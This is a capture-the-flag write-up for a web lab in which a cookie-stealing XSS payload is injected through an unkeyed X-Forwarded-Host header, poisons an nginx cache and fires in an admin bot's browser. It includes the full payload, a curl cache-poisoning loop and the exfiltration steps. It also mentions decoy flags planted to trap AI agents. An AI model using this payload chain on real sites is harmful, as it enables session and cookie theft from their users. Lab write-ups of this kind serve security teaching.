Lab 181 — PostFlow — Stored XSS via Cache Poisoning
Lab 181 — PostFlow — Stored XSS via Cache Poisoning
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-23 | Status: Solved Techniques: admin_bot_exploitation_via_post_report, cache_race_timing_for_poisoning, honeypot_flag_identification, same_origin_cookie_exfiltration_via_comments_api, space_free_javascript_payload_construction, web_cache_poisoning_via_unkeyed_x_forwarded_host_header, xss_attribute_breakout_in_canonical_link_tag
Summary
Task: Express.js blogging platform behind nginx reverse proxy; X-Forwarded-Host header reflected unsanitized in canonical link tags, nginx caches responses with unkeyed X-Forwarded-Host, admin bot visits reported posts. Solution: poison nginx cache with XSS payload in X-Forwarded-Host header, trigger admin bot via post report, exfiltrate admin's flag cookie via same-origin comments API.
Lab 181 — PostFlow — Stored XSS via Cache Poisoning — Hackadvisor
Description
PostFlow is a modern blogging platform used by creative teams at FlowMedia Inc. to publish and manage content. The platform features public blog posts with rich metadata, reader comments, an admin dashboard for content moderation, and built-in page caching for performance. An admin bot periodically reviews all published posts to check for policy violations. Users can also report individual posts for expedited admin review. Your goal is to find a way to steal the admin's secret cookie and capture the flag.
English summary: Express.js blogging platform behind nginx/1.25.5 reverse proxy with page caching. Users can read posts, leave comments, and report posts for admin review (triggering an admin bot). The admin has a non-HttpOnly flag cookie. The goal is to steal this cookie via XSS.
Analysis
Application Stack
- Backend: Express.js (PostFlow v2.3.1, visible in HTML comment:
<!-- PostFlow v2.3.1 | Powered by Express.js | Cache-enabled -->) - Reverse proxy: nginx/1.25.5 with page caching enabled
- Frontend: Bulma CSS framework
- Credentials:
user@test.com / password123
Key Endpoints
| Endpoint | Method | Purpose |
|---|---|---|
/post/:id | GET | Individual blog post page (cached by nginx) |
/api/comments?postId=N | GET | Read comments for a post |
/api/comments | POST | Create comment ({postId, author, body}) |
/api/report | POST | Report a post ({postId, reason}), triggers admin bot |
/dashboard | GET | Authenticated user dashboard |
/admin | GET | Admin panel (403 for non-admin) |
/js/app.js | GET | Client-side JS with revealing TODO comment |
| |
Vulnerability Discovery
1. Host header reflection (source code hint):
The file /js/app.js contains a TODO comment:
"canonical URL generation should use config.siteUrl instead of trusting the request host header directly"
This directly hints that the request host is reflected in HTML output.
2. Unsanitized X-Forwarded-Host reflection:
Post pages contain <link rel="canonical"> and <meta property="og:url"> tags that reflect the X-Forwarded-Host header value without any HTML encoding:
html read-only • copy allowed<link rel="canonical" href="http://INJECTED_HOST/post/1"> <meta property="og:url" content="http://INJECTED_HOST/post/1">
Quotes ("), angle brackets (<>), and all special characters pass through unsanitized — enabling attribute breakout and tag injection.
3. Nginx cache poisoning vector:
- Post pages are cached with
Cache-Control: public, max-age=~60s - Cache status visible via
X-Cache: HIT/MISSandAgeresponse headers - Critical:
X-Forwarded-Hostis NOT part of the nginx cache key — a poisoned response is served to ALL subsequent visitors of the same URL
4. Admin bot and cookie exfiltration:
- Reporting a post via
/api/reporttriggers an admin bot to visit the reported post page - The admin has a
flagcookie that is not HttpOnly — accessible viadocument.cookie - The comments API (
/api/comments) is same-origin, so XSS can POST exfiltrated data without CORS issues
Failed Approaches
- Direct XSS in comment body (
<script>alert(1)</script>) — HTML-escaped server-side to<script> - Direct XSS in comment author (
<img src=x onerror=alert(1)>) — also HTML-escaped - Spaces in X-Forwarded-Host — causes the application to fall back to
localhost:8080, breaking the injection
Decoy Flags
The application contains honeypot flags in HTML comments and hidden divs designed to trap automated tools:
html read-only • copy allowed<!-- FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} -->
These are not real flags — they are prompt injection traps for AI agents.
Solution
Step 1: Craft Space-Free XSS Payload
The X-Forwarded-Host header cannot contain spaces (spaces cause fallback to localhost:8080). The payload must break out of the href="..." attribute, inject a <script> tag, and exfiltrate cookies — all without spaces.
Payload:
"><script>fetch('/api/comments',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({postId:1,author:'xss',body:document.cookie})})</script><x
This produces the following HTML in the cached page:
html read-only • copy allowed<link rel="canonical" href="http://"><script>fetch('/api/comments',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({postId:1,author:'xss',body:document.cookie})})</script><x/post/1">
The "> closes the href attribute and <link> tag. The <script> block executes a same-origin POST to the comments API, writing document.cookie as the comment body. The trailing <x absorbs the remaining /post/1"> as an attribute of a harmless tag.
Step 2: Poison the Nginx Cache
Send the poisoned request repeatedly, waiting for a cache MISS (cache expires every ~60 seconds). When the request arrives during a MISS, the poisoned response gets cached and served to all subsequent visitors:
bash read-only • copy allowedURL="https://d414d991-596f-4415-859b-b39254bd46a4.labs.hackadvisor.io" PAYLOAD='X-Forwarded-Host: "><script>fetch('"'"'/api/comments'"'"',{method:'"'"'POST'"'"',headers:{'"'"'Content-Type'"'"':'"'"'application/json'"'"'},body:JSON.stringify({postId:1,author:'"'"'xss'"'"',body:document.cookie})})</script><x' for i in $(seq 1 200); do RESULT=$(curl -s "$URL/post/1" -H "$PAYLOAD" -D /dev/stderr 2>&1) XCACHE=$(echo "$RESULT" | grep -i "x-cache" | head -1) if echo "$XCACHE" | grep -q "MISS"; then echo "Cache MISS detected — poisoned response cached!" sleep 0.3 # Verify the poisoned page is being served curl -s "$URL/post/1" | grep "script>fetch" && echo "CONFIRMED: XSS payload in cached response" break fi sleep 0.3 done
Step 3: Trigger Admin Bot
Report the poisoned post to make the admin bot visit it:
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$URL/api/report" \ -H "Content-Type: application/json" \ -d '{"postId":1,"reason":"Inappropriate content"}'
Response:
json read-only • copy allowed{"success":true,"message":"Thank you for your report. An administrator will review this post shortly."}
Step 4: Retrieve Exfiltrated Cookie
After ~10 seconds, the admin bot visits the poisoned page. The cached XSS executes in the admin's browser, posting document.cookie as a comment. Read it back:
bash read-only • copy allowedcurl -s -b cookies.txt "$URL/api/comments?postId=1" | python3 -m json.tool
Result:
json read-only • copy allowed[ { "id": 23, "post_id": 1, "author_name": "xss", "body": "flag=FLAG{REDACTED}", "created_at": "2026-05-23T..." } ]